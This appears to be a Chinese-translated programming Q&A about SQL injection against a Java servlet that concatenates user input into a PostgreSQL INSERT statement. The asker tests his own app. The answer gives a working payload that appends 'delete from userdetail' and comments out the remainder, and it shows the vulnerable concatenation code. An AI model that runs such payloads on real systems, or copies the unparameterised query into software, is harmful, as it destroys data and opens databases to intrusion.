PostgreSQL上的SQL注入

Ash*_*win 2 java postgresql sql-injection

我的clienet(android)以用户表单发送用户详细信息,而我的servlet只是将这些详细信息输入数据库(postgre sql)。我试图通过;DELETE FROM tbl_name;在用户名字段中给出来进行sql注入攻击。
但是postgresql只是将其视为一个值,然后将其输入为用户名。我该如何进行SQLINjection攻击。(我没有在postgre sql或servlet中进行任何检查)。
这是否意味着postgresql可以抵抗SQLInjection攻击?

我正在使用以下语句插入数据:

String insert ="insert into userdetail(username,id,sno) values('"+username+"','"+userid+"','"+no+"')";
                   Statement stmt = conn.createStatement();
                    stmt.executeUpdate(insert);
Run Code Online (Sandbox Code Playgroud)


用户名包含;DELETE FROM userdetail;
我也尝试了以下方法:

');DELETE FROM userdetail;
Run Code Online (Sandbox Code Playgroud)

但是它会导致以下错误:

org.postgresql.util.PSQLException: ERROR: unterminat
ed quoted string at or near "');"
  Position: 1
Run Code Online (Sandbox Code Playgroud)



我也尝试过这个:

','',');DELETE FROM userdetail;
Run Code Online (Sandbox Code Playgroud)


这给出了以下错误:

17:36:46,828 INFO  [STDOUT] org.postgresql.util.PSQLException: ERROR: unterminat
ed quoted string at or near "''');"
  Position: 38
Run Code Online (Sandbox Code Playgroud)

但不会删除该表的记录。如何使其删除表记录?

A.H*_*.H. 5

关键技巧是完整的语句字符串必须

  • 做一些创新
  • 仍然是有效的SQL

到目前为止,答案已经省略了第二部分。但是无效的SQL语句将中止事务,因此很可能根本不执行任何操作。如果您设置autoCommittrue该攻击可能会更容易。

但是,此字符串应该以一种“干净”的方式达到目的:

foo', '42', '42'); delete from userdetail; -- 
Run Code Online (Sandbox Code Playgroud)

注意:结果字符串是这样的(换行仅用于更好的阅读):

insert into userdetail(username,id,sno) values('foo', '42', '42'); 
delete from userdetail; 
-- ','21','21')
Run Code Online (Sandbox Code Playgroud)

INSERT部分既完整又正确(当然假定没有唯一的索引冲突),而且DELETE正确。后面的SQL注释掩盖了可能令人讨厌的其余部分--